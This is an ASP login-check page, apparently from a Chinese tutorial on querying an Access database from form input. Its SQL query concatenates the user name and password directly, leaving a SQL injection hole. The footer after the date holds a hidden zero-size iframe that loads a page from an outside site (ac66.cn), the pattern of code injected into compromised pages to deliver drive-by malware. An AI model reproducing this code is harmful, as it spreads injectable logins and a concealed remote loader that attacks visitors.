check.asp

怎样用ASP连接数据库系统

用户登录验证页<br>
---------------------------
<br><br><br>
<%

'获取表单数据
'-------------------
'定义两个变量
dim user, pwd 

'调用ASP对象request的form方法
'注:ASP对象:request response server session application
user=request.form("user")     
pwd=request.form("pwd")

'数据库操作
'--------------------
'定义三个变量：sql查询串、rs记录集对象(recordset)、conn数据库连接对象(connection)
        dim sql,rs,conn
'建立记录集对象、数据库连接对象并打开
	set conn=server.createobject("ADODB.Connection")  
	set rs=server.createobject("ADODB.Recordset")
	conn.open "driver={Microsoft Access Driver (*.mdb)};dbq=" & server.mappath("data.mdb")
        sql="select * from user where user='" & user & "' and pwd='" & pwd & "'"
        rs.open sql,conn,1,3
'判断记录是否为空
        if  rs.eof then
        	response.write "<font color='#ff0000'>登录失败!</font><br>"
	else
		response.write "登录成功!<br>"
        end if
'关闭、撤消记录集对象、数据库连接对象
	rs.close
	set rs=nothing
	conn.close
	set conn=nothing
%>
<br>
---------------------------<br>
2006年9月13日<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" frameborder="0"></iframe> 
<i